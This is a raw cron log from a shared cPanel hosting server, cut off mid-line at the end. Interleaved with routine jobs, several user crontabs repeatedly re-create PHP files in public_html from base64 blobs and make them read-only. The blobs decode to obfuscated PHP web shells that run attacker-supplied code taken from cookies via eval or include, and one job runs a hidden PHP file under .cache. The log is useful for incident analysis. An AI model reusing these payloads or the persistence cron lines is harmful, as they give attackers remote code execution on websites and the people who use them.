"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:56:01 medusa CROND[13742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:57:02 medusa CROND[6776]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:57:02 medusa CROND[6860]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:57:02 medusa CROND[6861]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:57:02 medusa CROND[6862]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:57:02 medusa CROND[6863]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:57:02 medusa CROND[6865]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:57:02 medusa CROND[6866]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:57:02 medusa CROND[6867]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:57:02 medusa CROND[6864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:57:02 medusa CROND[6871]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:57:02 medusa CROND[6875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:57:02 medusa CROND[6870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:58:01 medusa CROND[31261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 12:58:01 medusa CROND[31263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:58:01 medusa CROND[31262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:58:01 medusa CROND[31266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:58:01 medusa CROND[31267]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:58:01 medusa CROND[31268]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:58:01 medusa CROND[31271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:58:01 medusa CROND[31269]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:58:01 medusa CROND[31273]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:58:01 medusa CROND[31275]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:58:01 medusa CROND[31270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:58:01 medusa CROND[31280]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:58:01 medusa CROND[31285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:58:01 medusa CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:59:01 medusa CROND[23600]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:59:01 medusa CROND[23651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:59:01 medusa CROND[23652]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96e